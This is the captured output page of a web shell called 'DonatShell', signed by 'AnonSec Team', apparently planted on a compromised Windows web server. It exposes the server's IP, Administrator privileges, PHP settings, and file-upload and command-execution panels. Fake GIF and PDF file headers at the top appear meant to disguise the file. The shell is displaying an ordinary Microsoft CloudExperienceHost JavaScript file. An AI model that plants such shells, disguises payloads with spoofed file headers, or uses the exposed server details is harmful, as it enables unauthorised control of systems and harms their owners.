GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/stateManager.js
//
// Copyright (C) Microsoft. All rights reserved.
//
/// <disable>JS2085.EnableStrictMode</disable>
"use strict";
var CloudExperienceHost;
(function (CloudExperienceHost) {
    (function (WebAppExecutionState) {
        WebAppExecutionState[WebAppExecutionState["Running"] = 0] = "Running";
        WebAppExecutionState[WebAppExecutionState["Closed"] = 1] = "Closed";
    })(CloudExperienceHost.WebAppExecutionState || (CloudExperienceHost.WebAppExecutionState = {}));
    var WebAppExecutionState = CloudExperienceHost.WebAppExecutionState;
    class WebAppState {
        constructor(cxid, state, result) {
            this.cxid = cxid;
            this.state = state;
            this.result = result;
        }
    }
    CloudExperienceHost.WebAppState = WebAppState;
    class AppExecutionState {
        constructor() {
            this.source = null;
            this.current = null;
        }
    }
    class StateManager {
        constructor() {
            this._appState = null;
            this._webAppState = null;
            if (!StateManager._allowInstantiation) {
                throw new Error("Error: Instantiation failed: Use getInstance() instead of new.");
            }
            if (WinJS.Application.sessionState.appState) {
                this._appState = WinJS.Application.sessionState.appState;
            }
            else {
                this._appState = new AppExecutionState();
                WinJS.Application.sessionState.appState = this._appState;
            }
            if (WinJS.Application.sessionState.webAppState) {
                this._webAppState = WinJS.Application.sessionState.webAppState;
            }
            else {
                this._webAppState = new Object();
                WinJS.Application.sessionState.webAppState = this._webAppState;
            }
        }
        static getInstance() {
            if (StateManager._instance === null) {
                StateManager._allowInstantiation = true;
                StateManager._instance = new StateManager();
                StateManager._allowInstantiation = false;
            }
            return StateManager._instance;
        }
        isValid(source) {
            return (this._appState.source && (this._appState.source.toLocaleLowerCase() === source.toLocaleLowerCase()));
        }
        setSource(source) {
            this._appState.source = source;
        }
        onNavigate(node) {
            this._appState.current = new WebAppState(node.cxid, WebAppExecutionState.Running, null);
        }
        onDone(node, appResult) {
            this._appState.current.result = appResult;
            this._appState.current.state = WebAppExecutionState.Closed;
        }
        getNextCXID() {
            var cxid = null;
            if (this._appState.current && this._appState.current.state === WebAppExecutionState.Running) {
                cxid = this._appState.current.cxid;
            }
            return cxid;
        }
        clean() {
            WinJS.Application.sessionState = null;
        }
        setWebAppState(cxid, value) {
            this._webAppState[cxid] = value;
        }
        getWebAppState(cxid) {
            return this._webAppState[cxid];
        }
    }
    StateManager._instance = null;
    CloudExperienceHost.StateManager = StateManager;
    WinJS.Namespace.define("CloudExperienceHost.SessionState", {
        setState: function (value) { StateManager.getInstance().setWebAppState(CloudExperienceHost.getCurrentNode().cxid, value); },
        getState: function () { return StateManager.getInstance().getWebAppState(CloudExperienceHost.getCurrentNode().cxid); },
    });
})(CloudExperienceHost || (CloudExperienceHost = {}));
//# sourceMappingURL=stateManager.js.map

Anon7 - 2022
AnonSec Team